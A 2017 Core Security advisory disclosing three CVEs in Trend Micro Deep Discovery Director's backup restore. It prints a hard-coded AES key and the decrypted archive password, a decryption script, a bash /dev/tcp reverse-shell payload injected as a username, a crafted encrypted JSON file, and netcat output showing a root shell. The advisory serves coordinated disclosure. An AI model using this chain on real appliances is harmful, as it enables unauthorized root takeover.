CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
64.7%
**Title:**Trend Micro Deep Discovery Director Multiple Vulnerabilities
**Advisory ID:**CORE-2017-0005
Advisory URL:<https://www.coresecurity.com/core-labs/advisories/trend-micro-deep-discovery-director-multiple-vulnerabilities>
**Date published:**2017-07-12
**Date of last update:**2017-08-02
**Vendors contacted:**Trend Micro
**Release mode:**Coordinated release
**Class:**Improper Neutralization of Special Elements used in an OS Command [CWE-78], Use of Hard-coded Cryptographic Key [CWE-321], Insufficient Verification of Data Authenticity [CWE-345]
**Impact:**Code execution
**Remotely Exploitable:**Yes
**Locally Exploitable:**Yes
CVE Name:CVE-2017-11381, CVE-2017-11380, CVE-2017-11379
Trend Micro’s website states that:
Trend Micro Deep Discovery Director 1.1 [1] is an on-premises management solution that enables centralized deployment of product updates, product upgrades, and Virtual Analyzer images to Deep Discovery products, as well as configuration replication of Deep Discovery products.
Multiple vulnerabilities were found in the backup restore process of the Deep Discovery Director application, which would allow an attacker with access to the management console to execute commands as root.
Other products and versions might be affected, but they were not tested.
Trend Micro published the following Critical Patch:
These vulnerabilities were discovered and researched by Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.
The on-premise solution consists of a hardened virtual appliance that provides no remote access other than the Web management console. Users with local access to the virtual machine are locked into a pre-configuration console, from which the administrator can do the initial network setup. Shell access is not allowed.
The Web management console consists of a Flask application served with nginx.
The following sections describe the problems found with the backup/restore mechanism and detail how to gain code execution as root. Note that these actions assume that the attacker is authenticated within the Web console.
[CVE-2017-11379] Configuration and database backup archives are not signed or validated in any form other than having to be encrypted with a hard-coded password that seems to be static across all appliances (see 7.2 for more details). This means that the application will gladly try to restore archives that have been tampered with.
[CVE-2017-11380] Backup archives were found to be encrypted with a static password across several different test installations, which suggests that the same password is being used in all the virtual appliance instances.
The BackupManager class details how these archives are generated:
class BackupManager(object): [...] _AES_KEY = '9DBD048780608B843A0294CD' def __init__(self, is_manual
= False, file_struct = None, target_partition = None, config_ini = None, config_db = None,
config_systemfile = None, agent_file = None, meta_file = None, backup_path = None, backup_zip = None,
backup_pw = None, restore_path = None, restore_statusfile = None): [...] decryptor = AESCipher(self._AES_KEY)
self.backup_pw = backup_pw if backup_pw else decryptor.decrypt(RESTORE_ZIP_PW) [...]
backup_pw is used to create the archive in the backup_ddd method:
@with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False) @check_shutdown def backup_ddd(self):
LOG.debug('Start to backup DDD') [...] os.chdir(tmp_backup_fd) filelist = [ f for f in os.listdir
('./') ] compress_file(self.backup_zip, filelist, password=self.backup_pw, keep_directory=True)
…and it is used again to decrypt the archive:
@with_file_lock(LOCK_UPDATE_IN_PROGRESS, blocking=False) @check_shutdown def upload_package
(self, stream, file_name): if not self._extract_meta(self.restore_zip): LOG.debug('Failed to extract meta')
self._clean_uploaded_package() update_status(status=self.STATUS_FAIL, error=RESTORE_INVALID_PACKAGE.code)
raise PBobServerCommonException(RESTORE_INVALID_PACKAGE) [...] def _extract_meta(self, restore_zip):
command = ['unzip', '-P', self.backup_pw, '-p', restore_zip, self.meta_file] fd =
file(self.meta_fp, 'w') p = subprocess.Popen(command, stdout=fd, stderr=subprocess.PIPE) ret =
p.wait() fd.flush() fd.close() if ret != 0: LOG.error('Fail to unzip meta file. ret: {}, stderr:
[{}]'.format(ret, p.stderr)) ret = False else: ret = True return ret
RESTORE_ZIP_PW is defined in the common_modules/common/constants.pyc file as follows:
RESTORE_ZIP_PW = 'hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q='
The password can be decrypted with the following script:
#!/usr/bin/env python import base64 import sys from Crypto import Random from
Crypto.Cipher import AES class AESCipher(object): def __init__(self, key): self.key
= key def encrypt(self, raw): pad = lambda s, bs: s + (bs - len(s) % bs) * chr(bs -
len(s) % bs) raw = pad(raw, 16) iv = Random.new().read(AES.block_size) cipher =
AES.new(self.key, AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(raw))
def decrypt(self, enc): enc = base64.b64decode(enc) iv = enc[:16] cipher = AES.new
(self.key, AES.MODE_CBC, iv) unpad = lambda s: s[:-ord(s[len(s) - 1:])] return unpad
(cipher.decrypt(enc[16:])) # From backup_manager.pyc _AES_KEY = '9DBD048780608B843A0294CD'
decryptor = AESCipher(_AES_KEY) if len(sys.argv) == 2: print "Decrypted: %s" % decryptor.
decrypt(sys.argv[1]) $ python decrypt.py hZrMrlTvOhiM9GaDirYQ/HQ3JSalxGOXTsJDy9gde2Q=
Decrypted: BRpixiebob0101
[CVE-2017-11381] Taking advantage of the vulnerabilities presented in sections 7.1 and 7.2, an attacker can create valid backup archives that the application will try to restore. Such archives contain database contents, the Web server certificates, etc., but do not provide an obvious way to execute arbitrary commands.
However, a command injection exists in the code that restores the accounts that can access the pre-configuration console.
The method _restore_textUI_accounts is called as part of the backup restore process:
def _restore_textUI_accounts(self, tmp_restore_fd): restore_path = '{}{}{}'.format(tmp_restore_fd,
self.file_struct['accounts'], self.accounts_file) if isfile(restore_path): LOG.debug('Restore
textUI accounts.') with open(restore_path, 'r') as f: backup_accounts = json.load(f) LOG.debug
('content:[{}]'.format(backup_accounts)) if 'textUI_accounts' in backup_accounts: cipher = AESCipher
(self._AES_KEY) decryptor = AESCipher(self._AES_KEY) with open('/etc/passwd', 'r') as f: for line in
f: fields = line.split(':') if fields[0] == 'root': continue account_to_compare = cipher.encrypt
(fields[0]) if fields[6].strip('\n') == '/opt/TrendMicro/Pixiebob/textUI/admin_shell' or
account_to_compare in backup_accounts['textUI_accounts']: LOG.debug('Remove user:[{}]'.format(fields[0]))
os.system('/usr/sbin/userdel --remove {}'.format(fields[0])) for tui_account in backup_accounts
['textUI_accounts']: plain_account = decryptor.decrypt(tui_account) plain_hash = decryptor.decrypt
(backup_accounts['textUI_accounts'][tui_account]) if plain_account == 'root': continue LOG.debug
('Restore user:[{}]'.format(plain_account)) os.system('/usr/sbin/useradd "{}"'.format(plain_account))
os.system('chsh -s "/opt/TrendMicro/Pixiebob/textUI/admin_shell" "{}"'.format(plain_account)) os.system
("echo '{}:{}' | chpasswd -e".format(plain_account, plain_hash)) else: LOG.debug('Could not find textUI
accounts in backup account file, skip.') else: LOG.debug('No backup account file, skip.')
The method starts by loading the contents of the backup_accounts.json file and checking for the ‘textUI_accounts’ key. If such property exists, the application will read encrypted username:password pairs from it and process them.
Prior to restoring accounts read from the JSON file, the application will call the /usr/sbin/userdel command to remove system accounts added by the Deep Discovery Director. These accounts are identified by having the shell set to /opt/TrendMicro/Pixiebob/textUI/admin_shell or being included in the JSON file.
Finally, the JSON contents are traversed again in the for loop (see for tui_account in backup_accounts[‘textUI_accounts’]). Each username:password pair is decrypted with the code shown in 7.2 and then added to the system via the /usr/sbin/useradd command, setting the shell to admin_shell and updating the password.
These calls to system are problematic, because input taken from the backup file is supplied without sanitization.
Take the first call to system() as an example:
os.system('/usr/sbin/useradd "{}"'.format(plain_account))
The plain_account variable corresponds to the username that will be added. If this value is set to ";bash -i >& /dev/tcp/192.168.0.4/8888 0>&1;echo " (with the quotes included), then the restore process will open a reverse shell to 192.168.0.4. It is worth noting that these actions run with root privileges, resulting in a reverse root shell.
The backup_accounts.json file should have the following format:
{ "textUI_accounts": { "username": "password hash" } }
Username should be set to the arbitrary command to execute, which in this case is the reverse shell payload. The password hash does not matter, because we are not really going to add any user.
These values need to be encrypted with the ‘encrypt’ function outlined in section 7.2. A sample malicious file with the username set to our reverse shell payload would look as follows:
{ "textUI_accounts": { "hnOcMCXfxOivXziHo6BiFZJjLcwLoVw9o08YCETqbFd5dwaN0X0FdEhOKB+KTK1bvgZUxs685bxeR
K8ZrkWfqGuWfZKBCAPU7DBzI+PbhPA=": "O6TCdUvIyaUrEFl8pnGTf4JTH5fKc4oinyga8gWZIPd7qGB0+IPk6n1J5GckvoCCht0
pPxXwJ21INJAMZc38qRSAi27311eGKyF6VRWQ1IjK4bj9BNf0h95bdUJ9GhETfEuoTbyEpD7lP3I0Z2vJS2118DZozhCbgTGHPbP+Rx0=" } }
The malicious archive should be created with the password shown in 7.2. Once uploaded, the restore process will execute the injected command and spawn a shell.
$ nc -lv 8888 bash: no job control in this shell # id id uid=0(root) gid=0(root) groups=0(root)
[1] <http://docs.trendmicro.com/en-us/enterprise/deep-discovery-director.aspx>
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.
Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company’s threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia.
The contents of this advisory are copyright © 2017 Core Security and © 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: <http://creativecommons.org/licenses/by-nc-sa/3.0/us/>
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
64.7%